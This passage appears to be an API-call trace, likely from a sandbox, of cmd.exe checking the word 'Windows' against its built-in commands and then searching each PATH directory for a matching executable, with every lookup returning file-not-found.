_wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.780] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.780] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.780] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.780] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.780] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.780] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.780] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.780] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.780] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.780] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.780] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.780] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.780] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.780] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.780] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.780] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.780] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.781] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.781] GetProcessHeap () returned 0x20b0f920000 [0232.781] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.784] SetErrorMode (uMode=0x0) returned 0x0 [0232.784] SetErrorMode (uMode=0x1) returned 0x0 [0232.784] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.784] SetErrorMode (uMode=0x0) returned 0x1 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.784] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.784] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.784] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.784] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9470a0 [0232.784] GetProcessHeap () returned 0x20b0f920000 [0232.785] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9470a0, Size=0x7e) returned 0x20b0f956d00 [0232.785] GetProcessHeap () returned 0x20b0f920000 [0232.785] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d00) returned 0x7e [0232.785] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0232.785] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0232.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.785] GetLastError () returned 0x2 [0232.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.785] GetLastError () returned 0x2 [0232.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.786] GetLastError () returned 0x2 [0232.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.786] GetLastError () returned 0x2 [0232.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.786] GetLastError () returned 0x2 [0232.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.786] GetLastError () returned 0x2 [0232.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.786] GetLastError () returned 0x2 [0232.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.787] GetLastError () returned 0x2 [0232.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.787] GetLastError () returned 0x2 [0232.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.787] GetLastError () returned 0x2 [0232.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.787] GetLastError () returned 0x2 [0232.787] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.787] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.787] GetLastError () returned 0x2 [0232.787] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0232.788] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0232.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.788] GetLastError () returned 0x2 [0232.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.788] GetLastError () returned 0x2 [0232.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.788] GetLastError () returned 0x2 [0232.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.789] GetLastError () returned 0x2 [0232.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.789] GetLastError () returned 0x2 [0232.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.789] GetLastError () returned 0x2 [0232.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.789] GetLastError () returned 0x2 [0232.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.789] GetLastError () returned 0x2 [0232.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.790] GetLastError () returned 0x2 [0232.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.790] GetLastError () returned 0x2 [0232.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.790] GetLastError () returned 0x2 [0232.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.790] GetLastError () returned 0x2 [0232.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.791] GetLastError () returned 0x2 [0232.791] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.791] GetLastError () returned 0x2 [0232.791] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.791] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.791] GetLastError () returned 0x2 [0232.791] ??_V@YAXPEAX@Z () returned 0x1 [0232.791] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.792] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.792] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.792] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.792] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.792] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.793] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.793] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.793] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.793] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.793] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.793] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.793] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.793] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.793] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.793] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.793] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.793] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.793] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.793] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.793] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.793] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.793] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.793] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.793] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.793] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.793] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.793] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.793] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.793] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.793] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.793] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.793] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.793] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.793] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.793] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.793] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.793] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.794] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.794] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.794] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.794] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.794] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.794] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.794] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.794] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.794] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.794] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.794] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.794] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.794] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.794] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.794] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.794] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.794] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.794] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.794] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.794] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.794] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.794] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.794] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.794] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.794] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.794] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.794] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.794] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.794] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.794] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.794] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.794] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.795] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.795] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.795] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.795] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.795] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.795] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.795] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.795] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.795] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.795] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.795] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.795] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.795] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.795] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.795] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.795] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.795] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.795] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.795] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.795] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.795] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.795] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.795] ??_V@YAXPEAX@Z () returned 0x1 [0232.796] GetProcessHeap () returned 0x20b0f920000 [0232.796] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.796] GetProcessHeap () returned 0x20b0f920000 [0232.796] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f926ea0 [0232.796] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.796] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.796] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.797] GetProcessHeap () returned 0x20b0f920000 [0232.797] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.798] SetErrorMode (uMode=0x0) returned 0x0 [0232.798] SetErrorMode (uMode=0x1) returned 0x0 [0232.798] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.798] SetErrorMode (uMode=0x0) returned 0x1 [0232.798] GetProcessHeap () returned 0x20b0f920000 [0232.798] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.798] GetProcessHeap () returned 0x20b0f920000 [0232.798] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.799] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.799] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.799] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956ac0 [0232.799] GetProcessHeap () returned 0x20b0f920000 [0232.799] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956ac0) returned 0x7e [0232.799] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.799] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cd90 [0232.800] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0232.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.800] GetLastError () returned 0x2 [0232.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.800] GetLastError () returned 0x2 [0232.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.800] GetLastError () returned 0x2 [0232.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.800] GetLastError () returned 0x2 [0232.800] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.801] GetLastError () returned 0x2 [0232.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.801] GetLastError () returned 0x2 [0232.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.801] GetLastError () returned 0x2 [0232.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.801] GetLastError () returned 0x2 [0232.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.801] GetLastError () returned 0x2 [0232.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.802] GetLastError () returned 0x2 [0232.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.802] GetLastError () returned 0x2 [0232.802] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.802] FindFirstFileExW (in: 